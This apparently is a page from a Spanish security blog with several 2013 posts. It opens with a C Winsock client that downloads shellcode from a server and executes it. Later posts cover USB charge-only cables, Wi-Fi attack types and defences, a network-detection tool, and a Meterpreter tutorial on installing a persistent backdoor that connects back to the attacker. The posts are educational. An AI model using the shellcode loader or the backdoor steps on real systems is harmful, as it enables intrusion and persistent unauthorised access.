#include <conio.h>
#include <time.h>
#define MAXBUFLEN 512
#define PORT 4950
char SendBuff[MAXBUFLEN],RecvBuff[MAXBUFLEN];
void x(char * RecvBuff){((void(*)(void)){RecvBuff})();}
int main(int argc, char *argv[]){
 WSADATA wsaData;
 SOCKET conn_socket;
 struct sockaddr_in server;
 struct hostent *hp;
 int resp;
 //Inicializar dll de sockets
 resp=WSAStartup(MAKEWORD(1,0),&wsaData);
 if(resp){return -1;}
 //Obtenemos IP del servidor
 hp=(struct hostent *)gethostbyname("localhost");
 if(!hp){WSACleanup();return WSAGetLastError();}
 // Creamos socket
 conn_socket=socket(AF_INET,SOCK_STREAM, 0);
 if(conn_socket==INVALID_SOCKET) {WSACleanup();return WSAGetLastError();}
 memset(&server, 0, sizeof(server)) ;
 memcpy(&server.sin_addr, hp->h_addr, hp->h_length);
 server.sin_family = hp->h_addrtype;
 server.sin_port = htons(PORT);
 // Conexion servidor
 if(connect(conn_socket,(struct sockaddr *)&server,sizeof(server))==SOCKET_ERROR)
 {
 closesocket(conn_socket);
 WSACleanup();
 getchar();
 return WSAGetLastError();
 }
 strcpy(SendBuff,"1- Enviame la Shellcode");
 //Se envia mensaje para solicitar shellcode
 send(conn_socket,SendBuff,sizeof(SendBuff),0);
 //Se recoge la Shellcode
 recv(conn_socket,RecvBuff, sizeof(RecvBuff), 0);
 //Cierre del socket
 closesocket(conn_socket);
 WSACleanup();
 //Ejecucion de la Shellcode
 x(RecvBuff);
 return EXIT_SUCCESS;
}
Eso es todo por hoy, ya tenéis las dos partes del programa para poder practicar.
En el próximo post haremos varias pruebas con nuestro programa, y ejecutaremos algunas shellcodes curiosas remotamente :)
Saludos!

16 oct 2013

Condones USB. ¡Que no te infecten!

La seguridad de los dispositivos USB, especialmente los terminales móviles, no es un tema nuevo ni mucho menos. Vivimos conectados y usamos los smartphones para trabajar, twittear o ponernos al día constantemente. Por desgracia las baterías aún tienen que mejorar mucho y a menudo necesitamos un enchufe o toma USB donde cargar el terminal. El año pasado, en la RootedCON 2012 se hizo un experimento y se pudo ver la cantidad de gente que prefirió arriesgarse y conectar su móvil a un cargador sumamente sospechoso antes que quedarte sin batería.

Con este “nuevo” vector de ataque hay empresas que ya están vendiendo condones usb, para poder cargar un terminal sin que puedan transferirse datos. Aunque no son dispositivos muy caros, debido a la sencillez de éstos, vamos a ver cómo crear nuestro propio condón usb o cable “charge only”.

Tanto un USB Condom comercial como uno casero es, simplemente un cable o adaptador usb en el que solo están conectados los cable que transportan la electricidad, dejando sin conectar los pins de datos D+ y D-. Como podéis ver en la tabla, el pinout de una conexión USB o microUSB es muy sencilla por lo que crear nuestro cable solo de carga es una tarea tremendamente fácil.

 

Siguiendo el esquema, si quisiéramos convertir un cable microUSB convencional en uno “charge only” simplemente deberíamos cortar los cables D- y D+ correspondientes a los pines 2 y 3. Esto es aplicable a prácticamente cualquier cable usb, aunque en el caso de querer hacerse en un cable para Iphone, lo haría en un alargo, ya que los cables de Apple no son demasiado económicos.

 

En cualquier caso os recomiendo preparar vuestro cable de seguridad y llevarlo siempre encima, de esta forma evitaréis infectaros o que os hagan un Juice jacking en toda regla.

15 oct 2013

Wi-Fis: Tipos de ataque y recomendaciones de seguridad

¿Qué es una red inalámbrica?

Por definición es una red que utiliza radiofrecuencia o infrarrojos como medio para transmitir la información. Están compuestas por una AP (punto de acceso) al que se conectan todos los dispositivos inalámbricos. Usan la banda ISM (Industrial, Scientific and Medical)  de 2,4 Ghz,  compartiendo ésta con dispositivos como microondas o teléfonos móviles.  Los estándares que la rigen son creados por la IEEE. (802.11a , 802.11b, 802.11g  o 802.11n), el estándar más usado es 802.11n.

Es decir, la información viaja por el aire por lo que si no realizamos unas pautas de seguridad adecuadas podemos ser  muy vulnerables. Veamos cuáles son los distintos tipos de ataque:

Access Point Spoofing

Este es un ataque que consiste en hacerse pasar por un AP verdadero. El cliente cree que se está conectando a una red verdadera y toda la información será capturada. Después, se puede redirigir el tráfico de forma que el ataque pase inadvertido.

ARP Poisoning

Este ataque se hace al protocolo ARP (Addres Resolution Protocol). Un ejemplo de este tipo de ataques es el “Man in the Midle” o “Hombre en medio”. Su funcionamiento es relativamente simple:

Un equipo invasor A envía un paquete ARP repy a B diciendo que la dirección MAC de la máquina X apunta a A. A la máquina X le envía otro paquete ARP reply indicando que la dirección IP de B apunta a la MAC de A.

De esta forma, la máquina B piensa que envía paquetes a X cuándo, realmente, lo está haciendo a A. Igual ocurre con los envíos de X a B. De esta forma, toda la comunicación entre ambas máquinas pasa primero por A (hombre en medio).

Esto es posible porque el protocolo no guarda estados y, al recibir un paquete reply, supone que envió anteriormente un paquete request solicitando esta información.

MAC spoofing

Este ataque consiste un suplantar la dirección MAC de un cliente autorizado. Es posible porque las tarjetas red permiten el cambio de MAC.

Denial of service (DoS)

La idea de este ataque es saturar con peticiones la red, haciendo que el servicio no pueda ser utilizado por clientes legítimos. Normalmete, en redes inalámbricas, se hace con pedidos de disociación.

WLAN escáners

En realidad, esto no es un ataque en sí. Lo que se hace es recorrer un lugar e intentar descubrir qué redes WLAN hay, a poder ser, con información de equipamientos físicos, tipos de cifrado utilizado, etc. para después, realizar un ataque.

El Wardriving consiste en recorrer una zona, por ejemplo en un coche, y, mediante un smartphone (o cualquier otro dispositivo portátil) buscar y almacenar los puntos de acceso a redes inalámbricas, junto con los datos que se puedan extraer. Algunas aplicaciones para móviles permiten situar mediante el GPS el punto exacto y realizan esta operación de forma automática. Después, generan un mapa con toda la información extraída.

Sniffing

Este tipo de ataque consiste en interceptar el tráfico de una red. Para ello, tanto atacante con víctima, deben estar en la misma red, con lo que suele ser un ataque típico en redes no seguras, como redes abiertas o las proporcionadas en lugares públicos (hoteles, cafeterías, etc).

Recomendaciones de seguridad

Para  proteger nuestra red Wi-Fi es recomendable:

➢    Actualizar  tanto  el  sistema operativo,  como  los  controladores  Wi‐Fi así como el firmware del router.

➢    Si no estamos utilizando la interfaz Wi-Fi debemos desahabilitarla.

➢    Es mejor no configurar la red Wi-Fi como oculta.

➢    Aunque existen varias técnicas de cifrado, (WEP, WPA, WPA 2),  la más recomendable es la WPA 2 (Wireless Protected Access 2) , tenemos dos variantes:

WPA2  Personal o PSK con cifrado AES(Advanced Encryption Standard)  para hogares y pequeñas empresas puede ser una buena opción utilizando contraseñas de más de 20 caracteres y, éstas, deben ser robustas.

WPA2 – Enterprise es una opción muy recomendable para empresas y corporaciones, ya que utiliza para el cifrado AES(Advanced Encryption Standard) y para generar la contraseñas aleatorias y robustas utiliza el servidor RADIUS (Remote Authentication Dial In User Service),  junto  a  los  protocolos 802.1X  y  EAP (Extensible Authentication  Protocol)  para  la  autentificación.  Hay diversas implementaciones de EAP, con diferentes credenciales, desde usuario/contraseña, hasta tarjetas inteligentes, con lo que será necesario hacer un estudio detallado de la infraestructura para elegir el protocolo más adecuado.

➢    Evitar conectarse a redes Wi‐Fi inseguras ( redes públicas abiertas ). Estas redes nos ofrecen acceso a Internet gratuito (o de pago) y son un entorno perfecto para atacantes. Normalmente, no van a utilizar WPA Enterprise, incluso, en muchos casos, ningún tipo de seguridad. Esto hace que pueda haber alguien haciendo sniffing o que podamos sufrir ataques de ARP Poison fácilmente, por ejemplo. Incluso si tenemos la intención de conectar a una VPN (Virtual Private Network), no es nada seguro hacerlo mediante estas redes, porque las VPNs protegen el tráfico en las capas de comunicaciones nivel 3 (caso de IPSec) o nivel 5 (caso de SSL), por lo que podemos sufrir ataques de envenamiento de caché de ARP, que está en el nivel 2, por ejemplo.

➢    No utilizar redes “ajenas”. Además de ser un delito, no sabemos quién se encuentra detrás. Si el cifrado es WEP, es posible que esté a cociencia para que creamos haber “hackeado” la wifi y nosotros, supuestos atacantes, seamos los atacados.

➢    Cambiar la clave por defecto de nuestro router. Aunque venga por defecto con WPA2, debemos desconfiar de la clave por defecto. Hay multitud de aplicaciones para smartphones que nos devuelven la clave por defecto de multitud de routers, incluso con WPA. Además, hay aplicaciones también para Smartphones que permiten, desde el mismo móvil, hacer ataques DoS, controlar qué dispositivos pueden o no salir a Internet, etc.

➢    Cambiar el nombre de red (SSID) que viene por defecto en el router, así como la contraseña de administración del mismo.

➢    Si tenemos nuestro router configurado para que asigne dinámicamente las IP's a los clientes (DHCP), que suele venir por defecto, limitar el número de IP's asignables.

➢    Desactivar del router las tecnologías que no utilicemos, como, por ejemplo WPS (Wi-Fi Protected Setup).

María José Montes Díaz

@MMontesDiaz

14 oct 2013

NetworkConnectLog: Detectando dispositivos en nuestra red

Buenas a todos, en el post de hoy nos gustaría hablaros de la utilidad NetworkConnectLog, de Nirsoft. Se trata de una herramienta para Windows muy útil para análisis en redes de datos.

Al igual que otras herramientas de fingerprint en redes, NetworkConnectLog permite detectar los dispositivos que se encuentran conectados en una red. Para ello hace uso de peticiones Netbios y ARP, funcionando por tanto en modo activo, a diferencia de otras herramientas utilizadas para un uso similar como pueda ser Satori o Network Minner, que funcionan en modo pasivo y de las que ya os hablamos aquí.

El uso de esta herramienta es muy sencillo. No requiere instalación, y bastará con lanzar el ejecutable descargado desde el sitio web de Nirsoft para comenzar el análisis de la red:

Finalmente la herramienta nos permite exportar el reporte a HTML:

NetworkConnectLog está soportada desde Windows 2000 hasta Windows 8, en todas sus versiones. Por lo que no tendréis problema para tirar de ella durante vuestros procesos de auditoría o forense.

Saludos!

13 oct 2013

Informe Flu – 145

Como cada semana compartimos con vosotros los “Enlaces de la semana”:

Lunes 7 de Octubre

Martes 8 de Octubre

  • El martes Pablo nos habló sobre CVSS: ¿Qué es?. Artículo clave si te estás iniciando en el mundo de la seguridad.

Miércoles 9 de Octubre

Jueves 10 de Octubre

Viernes 11 de Octubre
Sábado 12 de OctubreSaludos!

12 oct 2013

El Rincón de HighSec: Conociendo Meterpreter

Buenas a todos! En este nuevo post de la serie “Conociendo Meterpreter” vamos a ver como podríamos crearnos una backdoor desde meterpreter para poder acceder al sistema comprometido siempre que queramos.

El entorno es el mismo que hemos visto anteriormente donde la maquina objetivo será un Windows XP vulnerable. Una vez estamos dentro de la maquina y hemos obtenido la shell de meterpreter. Para crear una backdoor y mantener el acceso en el sistema vamos a utilizar el script de meterpreter “persistance”, si ponemos en nuestra shell “run persistance” se ejecutara dicho script y nos permitirá instalar una backdoor en el sistema para poder acceder siempre como vemos a continuación…

Pero si lo ejecutamos así no sabemos bien que es lo que está haciendo el script por dentro, por lo tanto vamos a ver las opciones que nos proporciona dicho script y cómo podemos configurarlo de forma correcta para que ejecute e instale la backdoor como nosotros queremos. Para ello lo primero que vamos a hacer es ver las opciones y lo podemos hacer introduciendo “run persistance -h” como vemos a continuación…

Como vemos tenemos gran cantidad de opciones entre las que se encuentran el payload que queremos seleccionar, la localización de la backdoor, si se va a activar automáticamente cuando se inicie el sistema o cuando se logee el usuario, cada cuánto tiempo va  a intentar la conexión, etc…

Por lo que vamos a personalizar nuestra backdoor de la siguiente manera…

En este caso yo he hecho que se active de forma automática el multi/handler (-A), que la localización de la backdoor sea la raíz (-L C:\\), que automáticamente se intentes conexiones al iniciar el sistema (-X),  que intente conectarse cada 15segundos (-i 15), que mi dirección ip es la 192.168.1.13 que es donde se intentara conectar (-r 192.168.1.13) y que el puerto es el 443 (-p 443). Tal cual hacer esto el sistema víctima se intenta conectar con nosotros y repetirá la acción cada 15 segundos hasta que lo logre por lo que nos aparece lo siguiente…

Como vemos ha abierto una nueva sesión debido a la instalación de la backdoor…

Podemos comprobar que el archivo se ha subido de forma correcta a la maquina victima visitando la raíz en dicho sistema…

Ahora que hemos comprobado que esta todo en orden vamos a reiniciar el equipo victima para comprobar que funciona correctamente la backdoor instalada, para ello cerramos la primera sesión y con la segunda reiniciamos el equipo…

Una vez se está apagando se corta la conexión con la victima por lo que nos quedamos sin sesiones activas, pero en cuanto el servidor comienza a iniciarse vemos lo siguiente…

Como vemos de forma automática se nos a abierto la conexión con el host victima (Meterpreter lo entiende como pivoting del puerto 443 nuestro al 54145, pues al 443 es donde se conecta la víctima y de ese puerto pasa al puerto donde esta realmente ejecutándose el meterpreter, por eso aparece mi ip). Así que ya únicamente tenemos que iniciar la sesión 3 que es la que acaba de ser abierta y ya tenemos de nuevo acceso al equipo victima…

Ahora vamos a ver que para eliminar la backdoor lo único que tenemos que hacer es dirigirnos a la carpeta ./msf4/logs/persistance, y ahí tendremos una carpeta por cada host comprometido así como la fecha y el identificador. Por lo tanto dentro de esa carpeta tendremos un archivo con el mismo nombre (*.rc) que será el que tendremos que ejecutar desde nuestra sesión de meterpreter, ESTANDO EN LA MISMA SESSION QUE LA QUE QUEREMOS ELIMINAR LA BACKDOOR, por lo tanto podríamos ejecutar el comando y ver como la backdoor se ha eliminado…

Para comprobar que la backdoor ha sido realmente eliminada del sistema lo único que tenemos que hacer es reiniciar el equipo victima desde la sesión de meterpreter y ver que ya no se conecta con nosotros y por lo tanto no nos abre ninguna sesión…

Y como podemos observar esta todo correcto y la backdoor desinstalada. Y esto es todo por este post! Espero que os haya gustado!

Un saludo,

Eduardo – eduardo@highsec.es – @_Hykeos